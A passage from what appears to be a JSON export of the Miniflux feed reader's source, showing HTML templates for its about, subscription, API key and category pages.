.postgres_version }}</li>\n        <li><strong>{{t \"page.about.db_usage\" }}</strong> {{ .db_usage }}</li>\n    {{ end }}\n    </ul>\n</div>\n<div class=\"panel\">\n    <h3>{{ t \"page.about.credits\" }}</h3>\n    <ul>\n        <li><strong>{{ t \"page.about.author\" }}</strong> Frédéric Guillot and <a href=\"https://github.com/miniflux/v2/graphs/contributors\">contributors</a></li>\n        <li><strong>{{ t \"page.about.license\" }}</strong> <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache 2.0</a></li>\n    </ul>\n</div>\n\n{{ if .user.IsAdmin }}\n<div class=\"panel\">\n    <h3>{{ t \"page.about.global_config_options\" }}</h3>\n    <ul>\n    {{ range .globalConfigOptions }}\n        <li><code><strong>{{ .Key }}</strong>={{ .Value }}</code></li>\n    {{ end }}\n    </ul>\n</div>\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/add_subscription.html",
    "content": "{{ define \"title\"}}{{ t \"page.add_feed.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.add_feed.title\" }}</h1>\n    {{ template \"feed_menu\" }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if not .categories }}\n    <p role=\"alert\" class=\"alert alert-error\">{{ t \"page.add_feed.no_category\" }}</p>\n{{ else }}\n    <form action=\"{{ routePath \"/subscribe\" }}\" method=\"post\" autocomplete=\"off\">\n        <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n        {{ if .errorMessage }}\n            <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n        {{ end }}\n\n        <label for=\"form-url\">{{ t \"page.add_feed.label.url\" }}</label>\n        <input type=\"url\" name=\"url\" id=\"form-url\" placeholder=\"https://domain.tld/\" value=\"{{ .form.URL }}\" spellcheck=\"false\" required autofocus>\n\n        <label for=\"form-category\">{{ t \"form.feed.label.category\" }}</label>\n        <select id=\"form-category\" name=\"category_id\">\n            {{ range .categories }}\n                <option value=\"{{ .ID }}\" {{ if eq $.form.CategoryID .ID }}selected=\"selected\"{{ end }}>{{ .Title }}</option>\n            {{ end }}\n        </select>\n\n        <details>\n            <summary>{{ t \"page.add_feed.legend.advanced_options\" }}</summary>\n            <div class=\"details-content\">\n                <label><input type=\"checkbox\" name=\"crawler\" value=\"1\" {{ if .form.Crawler }}checked{{ end }}> {{ t \"form.feed.label.crawler\" }}</label>\n                <label><input type=\"checkbox\" name=\"ignore_entry_updates\" value=\"1\" {{ if .form.IgnoreEntryUpdates }}checked{{ end }}> {{ t \"form.feed.label.ignore_entry_updates\" }}</label>\n                <label><input type=\"checkbox\" name=\"allow_self_signed_certificates\" value=\"1\" {{ if .form.AllowSelfSignedCertificates }}checked{{ end }}> {{ t \"form.feed.label.allow_self_signed_certificates\" }}</label>\n                <label><input type=\"checkbox\" name=\"disable_http2\" value=\"1\" {{ if .form.DisableHTTP2 }}checked{{ end }}> {{ t \"form.feed.label.disable_http2\" }}</label>\n\n                {{ if .hasProxyConfigured }}\n                <label><input type=\"checkbox\" name=\"fetch_via_proxy\" value=\"1\" {{ if .form.FetchViaProxy }}checked{{ end }}> {{ t \"form.feed.label.fetch_via_proxy\" }}</label>\n                {{ end }}\n\n                <label for=\"form-proxy-url\">{{ t \"form.feed.label.proxy_url\" }}</label>\n                <input type=\"url\" name=\"proxy_url\" id=\"form-proxy-url\" value=\"{{ .form.ProxyURL }}\" spellcheck=\"false\">\n\n                <label for=\"form-user-agent\">{{ t \"form.feed.label.user_agent\" }}</label>\n                <input type=\"text\" name=\"user_agent\" id=\"form-user-agent\" placeholder=\"{{ .defaultUserAgent }}\" value=\"{{ .form.UserAgent }}\"  spellcheck=\"false\" autocomplete=\"off\">\n\n                <label for=\"form-cookie\">{{ t \"form.feed.label.cookie\" }}</label>\n                <input type=\"text\" name=\"cookie\" id=\"form-cookie\" value=\"{{ .form.Cookie }}\"  spellcheck=\"false\" autocomplete=\"off\">\n\n                <label for=\"form-feed-username\">{{ t \"form.feed.label.feed_username\" }}</label>\n                <input type=\"text\" name=\"feed_username\" id=\"form-feed-username\" value=\"{{ .form.Username }}\" spellcheck=\"false\">\n\n                <label for=\"form-feed-password\">{{ t \"form.feed.label.feed_password\" }}</label>\n                <!--\n                    We are using the type \"text\" otherwise Firefox always autocomplete this password:\n\n                    - autocomplete=\"off\" or autocomplete=\"new-password\" doesn't change anything\n                    - Changing the input ID doesn't change anything\n                    - Using a different input name doesn't change anything\n                -->\n                <input type=\"text\" name=\"feed_password\" id=\"form-feed-password\" value=\"{{ .form.Password }}\" spellcheck=\"false\">\n\n                <div class=\"form-label-row\">\n                    <label for=\"form-scraper-rules\">\n                        {{ t \"form.feed.label.scraper_rules\" }}\n                    </label>\n                    &nbsp;\n                    <a href=\"https://miniflux.app/docs/rules.html#scraper-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                        {{ icon \"external-link\" }}\n                    </a>\n                </div>\n                <input type=\"text\" name=\"scraper_rules\" id=\"form-scraper-rules\" value=\"{{ .form.ScraperRules }}\" spellcheck=\"false\">\n\n                <div class=\"form-label-row\">\n                    <label for=\"form-rewrite-rules\">\n                        {{ t \"form.feed.label.rewrite_rules\" }}\n                    </label>\n                    &nbsp;\n                    <a href=\"https://miniflux.app/docs/rules.html#rewrite-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                        {{ icon \"external-link\" }}\n                    </a>\n                </div>\n                <input type=\"text\" name=\"rewrite_rules\" id=\"form-rewrite-rules\" value=\"{{ .form.RewriteRules }}\" spellcheck=\"false\">\n\n                <div class=\"form-label-row\">\n                    <label for=\"form-urlrewrite-rules\">\n                        {{ t \"form.feed.label.urlrewrite_rules\" }}\n                    </label>\n                    &nbsp;\n                    <a href=\" https://miniflux.app/docs/rules.html#rewriteurl-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                        {{ icon \"external-link\" }}\n                    </a>\n                </div>\n                <input type=\"text\" name=\"urlrewrite_rules\" id=\"form-urlrewrite-rules\" value=\"{{ .form.UrlRewriteRules }}\" spellcheck=\"false\">\n\n                <div class=\"form-label-row\">\n                    <label for=\"form-blocklist-rules\">\n                        {{ t \"form.feed.label.blocklist_rules\" }}\n                    </label>\n                    &nbsp;\n                    <a href=\" https://miniflux.app/docs/rules.html#feed-filtering-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                        {{ icon \"external-link\" }}\n                    </a>\n                </div>\n                <input type=\"text\" name=\"blocklist_rules\" id=\"form-blocklist-rules\" value=\"{{ .form.BlocklistRules }}\" spellcheck=\"false\">\n\n                <div class=\"form-label-row\">\n                    <label for=\"form-keeplist-rules\">\n                        {{ t \"form.feed.label.keeplist_rules\" }}\n                    </label>\n                    &nbsp;\n                    <a href=\" https://miniflux.app/docs/rules.html#feed-filtering-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                        {{ icon \"external-link\" }}\n                    </a>\n                </div>\n                <input type=\"text\" name=\"keeplist_rules\" id=\"form-keeplist-rules\" value=\"{{ .form.KeeplistRules }}\" spellcheck=\"false\">\n\n                <div class=\"form-label-row\">\n                    <label for=\"form-block-filter-rules\">\n                        {{ t \"form.feed.label.block_filter_entry_rules\" }}\n                    </label>\n                    &nbsp;\n                    <a href=\" https://miniflux.app/docs/rules.html#filtering-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                        {{ icon \"external-link\" }}\n                    </a>\n                </div>\n                <textarea id=\"form-block-filter-rules\" name=\"block_filter_entry_rules\" cols=\"40\" rows=\"10\" spellcheck=\"false\">{{ .form.BlockFilterEntryRules }}</textarea>\n\n                <div class=\"form-label-row\">\n                    <label for=\"form-keep-filter-rules\">\n                        {{ t \"form.feed.label.keep_filter_entry_rules\" }}\n                    </label>\n                    &nbsp;\n                    <a href=\" https://miniflux.app/docs/rules.html#filtering-rules\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ end }}>\n                        {{ icon \"external-link\" }}\n                    </a>\n                </div>\n                <textarea id=\"form-keep-filter-rules\" name=\"keep_filter_entry_rules\" cols=\"40\" rows=\"10\" spellcheck=\"false\">{{ .form.KeepFilterEntryRules }}</textarea>\n            </div>\n        </details>\n\n        <div class=\"buttons\">\n            <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.loading\" }}\">{{ t \"page.add_feed.submit\" }}</button>\n        </div>\n    </form>\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/api_keys.html",
    "content": "{{ define \"title\"}}{{ t \"page.api_keys.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.api_keys.title\" }}</h1>\n    {{ template \"settings_menu\" dict \"user\" .user }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if .apiKeys }}\n{{ range .apiKeys }}\n    <table>\n    <tr>\n        <th class=\"column-25\">{{ t \"page.api_keys.table.description\" }}</th>\n        <td>{{ .Description }}</td>\n    </tr>\n    <tr>\n        <th>{{ t \"page.api_keys.table.token\" }}</th>\n        <td>{{ .Token }}</td>\n    </tr>\n    <tr>\n        <th>{{ t \"page.api_keys.table.last_used_at\" }}</th>\n        <td>\n            {{ if .LastUsedAt }}\n                <time datetime=\"{{ isodate .LastUsedAt }}\" title=\"{{ isodate .LastUsedAt }}\">{{ elapsed $.user.Timezone .LastUsedAt }}</time>\n            {{ else }}\n                {{ t \"page.api_keys.never_used\"  }}\n            {{ end }}\n        </td>\n    </tr>\n    <tr>\n        <th>{{ t \"page.api_keys.table.created_at\" }}</th>\n        <td>\n            <time datetime=\"{{ isodate .CreatedAt }}\" title=\"{{ isodate .CreatedAt }}\">{{ elapsed $.user.Timezone .CreatedAt }}</time>\n        </td>\n    </tr>\n    <tr>\n        <th>{{ t \"page.api_keys.table.actions\" }}</th>\n        <td>\n            <a href=\"#\"\n                data-confirm=\"true\"\n                data-label-question=\"{{ t \"confirm.question\" }}\"\n                data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                data-label-no=\"{{ t \"confirm.no\" }}\"\n                data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                data-url=\"{{ routePath \"/keys/%d/delete\" .ID }}\">{{ t \"action.remove\" }}</a>\n        </td>\n    </tr>\n    </table>\n    <br>\n{{ end }}\n{{ end }}\n\n<h3>{{ t \"page.integration.miniflux_api\" }}</h3>\n<div class=\"panel\">\n    <ul>\n        <li>\n            {{ t \"page.integration.miniflux_api_endpoint\" }} = <strong>{{ baseURL }}/v1/</strong>\n        </li>\n        <li>\n            {{ t \"page.integration.miniflux_api_username\" }} = <strong>{{ .user.Username }}</strong>\n        </li>\n        <li>\n            {{ t \"page.integration.miniflux_api_password\" }} = <strong>{{ t \"page.integration.miniflux_api_password_value\" }}</strong>\n        </li>\n    </ul>\n</div>\n\n<p>\n    <a href=\"{{ routePath \"/keys/create\" }}\" class=\"button button-primary\">{{ t \"menu.create_api_key\" }}</a>\n</p>\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/categories.html",
    "content": "{{ define \"title\"}}{{ t \"page.categories.title\" }} ({{ .total }}){{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title page-header-title-count\">\n    <h1 id=\"page-header-title\" dir=\"auto\">\n        {{ t \"page.categories.title\" }}\n        <span aria-hidden=\"true\"> ({{ .total }})</span>\n    </h1>\n    <span id=\"page-header-title-count\" class=\"sr-only\">{{ plural \"page.categories_count\" .total .total }}</span>\n    <nav aria-label=\"{{ t \"page.categories.title\" }} {{ t \"menu.title\" }}\">\n        <ul>\n            <li>\n                <a href=\"{{ routePath \"/category/create\" }}\">{{ icon \"add-category\" }}{{ t \"menu.create_category\" }}</a>\n            </li>\n        </ul>\n    </nav>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if not .categories }}\n    <p role=\"alert\" class=\"alert alert-error\">{{ t \"alert.no_category\" }}</p>\n{{ else }}\n    <div class=\"items\">\n        {{ range .categories }}\n        <article\n            class=\"item category-item {{if gt (deRef .TotalUnread) 0 }} category-has-unread{{end}}\"\n            aria-labelledby=\"category-title-{{ .ID }}\"\n            tabindex=\"-1\"\n        >\n            <header id=\"category-title-{{ .ID }}\"  class=\"item-header\" dir=\"auto\">\n                <h2 class=\"item-title\">\n                    <a href=\"{{ routePath \"/category/%d/entries\" .ID }}\">\n                        {{ .Title }}\n                        <span class=\"category-item-total\" aria-hidden=\"true\">({{ .TotalUnread }})</span>\n                        <span class=\"sr-only\">{{ plural \"page.unread_entry_count\" (deRef .TotalUnread) (deRef .TotalUnread) }}</span>\n                    </a>\n                </h2>\n            </header>\n            <div class=\"item-meta\">\n                <ul class=\"item-meta-info\">\n                    <li class=\"item-meta-info-feed-count\">\n                        {{ if eq (deRef .FeedCount) 0 }}{{ t \"page.categories.no_feed\" }}{{ else }}{{ plural \"page.categories.feed_count\" (deRef .FeedCount) (deRef .FeedCount) }}{{ end }}\n                    </li>\n                </ul>\n                <ul class=\"item-meta-icons\">\n                    <li class=\"item-meta-icons-entries\">\n                        <a href=\"{{ routePath \"/category/%d/entries\" .ID }}\">{{ icon \"entries\" }}<span class=\"icon-label\">{{ t \"page.categories.entries\" }}</span></a>\n                    </li>\n                    <li class=\"item-meta-icons-feeds\">\n                        <a href=\"{{ routePath \"/category/%d/feeds\" .ID }}\">{{ icon \"feeds\" }}<span class=\"icon-label\">{{ t \"page.categories.feeds\" }}</span></a>\n                    </li>\n                    <li class=\"item-meta-icons-edit\">\n                        <a href=\"{{ routePath \"/category/%d/edit\" .ID }}\">{{ icon \"edit\" }}<span class=\"icon-label\">{{ t \"menu.edit_category\" }}</span></a>\n                    </li>\n                    {{ if eq (deRef .FeedCount) 0 }}\n                    <li class=\"item-meta-icons-delete\">\n                        <button\n                            aria-describedby=\"category-title-{{ .ID }}\"\n                            data-confirm=\"true\"\n                            data-label-question=\"{{ t \"confirm.question\" }}\"\n                            data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                            data-label-no=\"{{ t \"confirm.no\" }}\"\n                            data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                            data-url=\"{{ routePath \"/category/%d/remove\" .ID }}\">{{ icon \"delete\" }}<span class=\"icon-label\">{{ t \"action.remove\" }}</span></button>\n                    </li>\n                    {{ end }}\n                    {{ if gt (deRef .TotalUnread) 0 }}\n                      <li class=\"item-meta-icons-mark-as-read\">\n                        <button\n                            aria-describedby=\"category-title-{{ .ID }}\"\n                            data-confirm=\"true\"\n                            data-label-question=\"{{ t \"confirm.question\" }}\"\n                            data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                            data-label-no=\"{{ t \"confirm.no\" }}\"\n                            data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                            data-url=\"{{ routePath \"/category/%d/mark-all-as-read\" .ID }}\">{{ icon \"read\" }}<span class=\"icon-label\">{{ t \"menu.mark_all_as_read\" }}</span></button>\n                      </li>\n                    {{ end }}\n                </ul>\n            </div>\n        </article>\n        {{ end }}\n    </div>\n\n    <footer>\n        <a href=\"#\" class=\"elevator\">{{ icon \"up\" }}{{ t \"page.footer.elevator\" }}</a>\n    </footer>\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/category_entries.html",
    "content": "{{ define \"title\"}}{{ .category.Title }} ({{ .total }}){{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\" dir=\"auto\">\n        {{ .category.Title }}\n        <span aria-hidden=\"true\">({{ .total }})</span>\n    </h1>\n    <span class=\"sr-only\">\n        {{ if .showOnlyUnreadEntries }}\n        {{ plural \"page.unread_entry_count\" .total .total }}\n        {{ else }}\n        {{ plural \"page.total_entry_count\" .total .total }}\n        {{ end }}\n    </span>\n    <nav aria-label=\"{{ .category.Title }} {{ t \"menu.title\" }}\">\n        <ul>\n            {{ if .entries }}\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-action=\"markPageAsRead\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    data-show-only-unread=\"{{ if .showOnlyUnreadEntries }}1{{ end }}\">{{ icon \"mark-page-as-read\" }}{{ t \"menu.mark_page_as_read\" }}</button>\n            </li>\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-confirm=\"true\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    data-url=\"{{ routePath \"/category/%d/mark-all-as-read\" .category.ID }}\">{{ icon \"mark-all-as-read\" }}{{ t \"menu.mark_all_as_read\" }}</button>\n            </li>\n            {{ end }}\n            {{ if .showOnlyUnreadEntries }}\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/category/%d/entries/all\" .category.ID }}\">{{ icon \"show-all-entries\" }}{{ t \"menu.show_all_entries\" }}</a>\n            </li>\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/category/%d/entries/starred\" .category.ID }}\">{{ icon \"star\" }}{{ t \"menu.show_only_starred_entries\" }}</a>\n            </li>\n            {{ else if .showOnlyStarredEntries }}\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/category/%d/entries\" .category.ID }}\">{{ icon \"show-unread-entries\" }}{{ t \"menu.show_only_unread_entries\" }}</a>\n            </li>\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/category/%d/entries/all\" .category.ID }}\">{{ icon \"show-all-entries\" }}{{ t \"menu.show_all_entries\" }}</a>\n            </li>\n            {{ else }}\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/category/%d/entries\" .category.ID }}\">{{ icon \"show-unread-entries\" }}{{ t \"menu.show_only_unread_entries\" }}</a>\n            </li>\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/category/%d/entries/starred\" .category.ID }}\">{{ icon \"star\" }}{{ t \"menu.show_only_starred_entries\" }}</a>\n            </li>\n            {{ end }}\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/category/%d/feeds\" .category.ID }}\">{{ icon \"feeds\" }}{{ t \"menu.feeds\" }}</a>\n            </li>\n            <li>\n                <form\n                    action=\"{{ routePath \"/category/%d/entries/refresh\" .category.ID }}\"\n                    class=\"page-header-action-form\"\n                >\n                    <button class=\"page-button\" data-label-loading=\"{{ t \"confirm.loading\" }}\">\n                        {{ icon \"refresh\" }}{{ t \"menu.refresh_all_feeds\" }}\n                    </button>\n                </form>\n            </li>\n        </ul>\n    </nav>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if not .entries }}\n    <p role=\"alert\" class=\"alert\">{{ t \"alert.no_category_entry\" }}</p>\n{{ else }}\n    <div class=\"pagination-top\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n    <div class=\"items\">\n        {{ range .entries }}\n        <article\n            class=\"item entry-item {{ if $.user.EntrySwipe }}entry-swipe{{ end }} item-status-{{ .Status }}\"\n            data-id=\"{{ .ID }}\"\n            aria-labelledby=\"entry-title-{{ .ID }}\"\n            tabindex=\"-1\"\n        >\n            <header class=\"item-header\" dir=\"auto\">\n                <h2 id=\"entry-title-{{ .ID }}\" class=\"item-title\">\n                    <a\n                        {{ if $.showOnlyUnreadEntries }}\n                        href=\"{{ routePath \"/unread/category/%d/entry/%d\" .Feed.Category.ID .ID }}\"\n                        {{ else if $.showOnlyStarredEntries }}\n                        href=\"{{ routePath \"/starred/category/%d/entry/%d\" .Feed.Category.ID .ID }}\"\n                        {{ else }}\n                        href=\"{{ routePath \"/category/%d/entry/%d\" .Feed.Category.ID .ID }}\"\n                        {{ end }}\n                    >\n                        {{ if ne .Feed.Icon.IconID 0 }}\n                            <img src=\"{{ routePath \"/feed-icon/%s\" .Feed.Icon.ExternalIconID }}\" width=\"16\" height=\"16\" loading=\"lazy\" alt=\"\">\n                        {{ end }}\n                        {{ .Title }}\n                    </a>\n                </h2>\n                <span class=\"category\">\n                    <a href=\"{{ routePath \"/category/%d/entries\" .Feed.Category.ID }}\" aria-label=\"{{ t \"page.category_label\" .Feed.Category.Title }}\">\n                        {{ .Feed.Category.Title }}\n                    </a>\n                </span>\n            </header>\n            {{ template \"item_meta\" dict \"user\" $.user \"entry\" . \"hasSaveEntry\" $.hasSaveEntry  }}\n        </article>\n        {{ end }}\n    </div>\n    <section class=\"page-footer\">\n        {{ if .entries }}\n        <ul>\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-action=\"markPageAsRead\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    data-show-only-unread=\"{{ if .showOnlyUnreadEntries }}1{{ end }}\">{{ icon \"mark-page-as-read\" }}{{ t \"menu.mark_page_as_read\" }}</button>\n            </li>\n        </ul>\n        {{ end }}\n    </section>\n    <div class=\"pagination-bottom\">\n        {{ template \"pagination\" .pagination }}\n    </div>\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/category_feeds.html",
    "content": "{{ define \"title\"}}{{ .category.Title }} &gt; {{ t \"page.feeds.title\" }} ({{ .total }}){{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\" dir=\"auto\">\n        {{ .category.Title }} <span aria-hidden=\"true\">&gt;</span> {{ t \"page.feeds.title\" }}\n        <span aria-hidden=\"true\"> ({{ .total }})</span>\n    </h1>\n    <span class=\"sr-only\">{{ plural \"page.categories.feed_count\" .total .total }}</span>\n    <nav aria-label=\"{{ .category.Title }} {{ t \"page.feeds.title\" }} {{ t \"menu.title\" }}\">\n        <ul>\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/category/%d/entries\" .category.ID }}\">{{ icon \"entries\" }}{{ t \"menu.feed_entries\" }}</a>\n            </li>\n            <li>\n                <a class=\"page-link\" href=\"{{ routePath \"/category/%d/edit\" .category.ID }}\">{{ icon \"edit\" }}{{ t \"menu.edit_category\" }}</a>\n            </li>\n            {{ if eq .total 0 }}\n            <li>\n                <button\n                    class=\"page-button\"\n                    data-confirm=\"true\"\n                    data-label-question=\"{{ t \"confirm.question\" }}\"\n                    data-label-yes=\"{{ t \"confirm.yes\" }}\"\n                    data-label-no=\"{{ t \"confirm.no\" }}\"\n                    data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    data-redirect-url=\"{{ routePath \"/categories\" }}\"\n                    data-url=\"{{ routePath \"/category/%d/remove\" .category.ID }}\"\n                >\n                    {{ icon \"delete\" }}{{ t \"action.remove\" }}\n                </button>\n            </li>\n            {{ end }}\n            <li>\n                <form\n                    class=\"page-header-action-form\"\n                    action=\"{{ routePath \"/category/%d/feeds/refresh\" .category.ID }}\"\n                >\n                    <button\n                        class=\"page-button\"\n                        data-label-loading=\"{{ t \"confirm.loading\" }}\"\n                    >\n                        {{ icon \"refresh\" }}{{ t \"menu.refresh_all_feeds\" }}\n                    </button>\n                </form>\n            </li>\n        </ul>\n    </nav>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n{{ if not .feeds }}\n    <p role=\"alert\" class=\"alert\">{{ t \"alert.no_feed_in_category\" }}</p>\n{{ else }}\n    {{ template \"feed_list\" dict \"categoryID\" .category.ID \"user\" .user \"feeds\" .feeds \"ParsingErrorCount\" .ParsingErrorCount }}\n{{ end }}\n\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/choose_subscription.html",
    "content": "{{ define \"title\"}}{{ t \"page.add_feed.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.add_feed.title\" }}</h1>\n    {{ template \"feed_menu\" }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<form action=\"{{ routePath \"/subscriptions\" }}\" method=\"POST\">\n    <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n    <input type=\"hidden\" name=\"category_id\" value=\"{{ .form.CategoryID }}\">\n    <input type=\"hidden\" name=\"user_agent\" value=\"{{ .form.UserAgent }}\">\n    <input type=\"hidden\" name=\"cookie\" value=\"{{ .form.Cookie }}\">\n    <input type=\"hidden\" name=\"feed_username\" value=\"{{ .form.Username }}\">\n    <input type=\"hidden\" name=\"feed_password\" value=\"{{ .form.Password }}\">\n    <input type=\"hidden\" name=\"scraper_rules\" value=\"{{ .form.ScraperRules }}\">\n    <input type=\"hidden\" name=\"rewrite_rules\" value=\"{{ .form.RewriteRules }}\">\n    <input type=\"hidden\" name=\"urlrewrite_rules\" value=\"{{ .form.UrlRewriteRules }}\">\n    <input type=\"hidden\" name=\"blocklist_rules\" value=\"{{ .form.BlocklistRules }}\">\n    <input type=\"hidden\" name=\"keeplist_rules\" value=\"{{ .form.KeeplistRules }}\">\n    <input type=\"hidden\" name=\"block_filter_entry_rules\" value=\"{{ .form.BlockFilterEntryRules }}\">\n    <input type=\"hidden\" name=\"keep_filter_entry_rules\" value=\"{{ .form.KeepFilterEntryRules }}\">\n    <input type=\"hidden\" name=\"proxy_url\" value=\"{{ .form.ProxyURL }}\">\n    {{ if .form.FetchViaProxy }}\n    <input type=\"hidden\" name=\"fetch_via_proxy\" value=\"1\">\n    {{ end }}\n    {{ if .form.Crawler }}\n        <input type=\"hidden\" name=\"crawler\" value=\"1\">\n    {{ end }}\n    {{ if .form.IgnoreEntryUpdates }}\n        <input type=\"hidden\" name=\"ignore_entry_updates\" value=\"1\">\n    {{ end }}\n    {{ if .form.AllowSelfSignedCertificates }}\n        <input type=\"hidden\" name=\"allow_self_signed_certificates\" value=\"1\">\n    {{ end }}\n    {{ if .form.DisableHTTP2 }}\n        <input type=\"hidden\" name=\"disable_http2\" value=\"1\">\n    {{ end }}\n\n    <h3>{{ t \"page.add_feed.choose_feed\" }}</h3>\n\n    {{ range .subscriptions }}\n        <div class=\"radio-group\">\n            <label title=\"{{ .URL | safeURL  }}\"><input type=\"radio\" name=\"url\" value=\"{{ .URL | safeURL  }}\"> {{ .Title }}</label> ({{ .Type }})\n            <small title=\"Type = {{ .Type }}\"><a href=\"{{ .URL | safeURL  }}\" {{ if $.user.OpenExternalLinksInNewTab }}target=\"_blank\"{{ else }}rel=\"noopener\"{{ end }}>{{ .URL | safeURL  }}</a></small>\n        </div>\n    {{ end }}\n\n    <div class=\"buttons\">\n        <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.loading\" }}\">{{ t \"action.subscribe\" }}</button>\n    </div>\n</form>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/create_api_key.html",
    "content": "{{ define \"title\"}}{{ t \"page.new_api_key.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.new_api_key.title\" }}</h1>\n    {{ template \"settings_menu\" dict \"user\" .user }}\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<form action=\"{{ routePath \"/keys/save\" }}\" method=\"post\" autocomplete=\"off\">\n    <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n    {{ if .errorMessage }}\n        <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n    {{ end }}\n\n    <label for=\"form-description\">{{ t \"form.api_key.label.description\" }}</label>\n    <input type=\"text\" name=\"description\" id=\"form-description\" value=\"{{ .form.Description }}\" spellcheck=\"false\" required autofocus>\n\n    <div class=\"buttons\">\n        <button type=\"submit\" class=\"button button-primary\" data-label-loading=\"{{ t \"form.submit.saving\" }}\">{{ t \"action.save\" }}</button> {{ t \"action.or\" }} <a href=\"{{ routePath \"/keys\" }}\">{{ t \"action.cancel\" }}</a>\n    </div>\n</form>\n{{ end }}\n"
  },
  {
    "path": "internal/template/templates/views/create_category.html",
    "content": "{{ define \"title\"}}{{ t \"page.new_category.title\" }}{{ end }}\n\n{{ define \"page_header\"}}\n<section class=\"page-header\" aria-labelledby=\"page-header-title\">\n    <h1 id=\"page-header-title\">{{ t \"page.new_category.title\" }}</h1>\n    <nav aria-label=\"{{ t \"page.new_category.title\" }} {{ t \"menu.title\" }}\">\n        <ul>\n            <li>\n                <a href=\"{{ routePath \"/categories\" }}\">{{ icon \"categories\" }}{{ t \"menu.categories\" }}</a>\n            </li>\n        </ul>\n    </nav>\n</section>\n{{ end }}\n\n{{ define \"content\"}}\n<form action=\"{{ routePath \"/category/save\" }}\" method=\"post\" autocomplete=\"off\">\n    <input type=\"hidden\" name=\"csrf\" value=\"{{ .csrf }}\">\n\n    {{ if .errorMessage }}\n        <div role=\"alert\" class=\"alert alert-error\">{{ .errorMessage }}</div>\n    {{ end }}\n\n    <label for=\"form-title\">{{ t \"form.category.label.title\" }}</label>\n    <input type=\"text\" name=\"title\" id=\"form-title\" value=\"{{ .form.Title }}\" required autofocus>\n\n    <div class=\"buttons\">\n        <button type=\"submit\" class=\"button button-primary\" 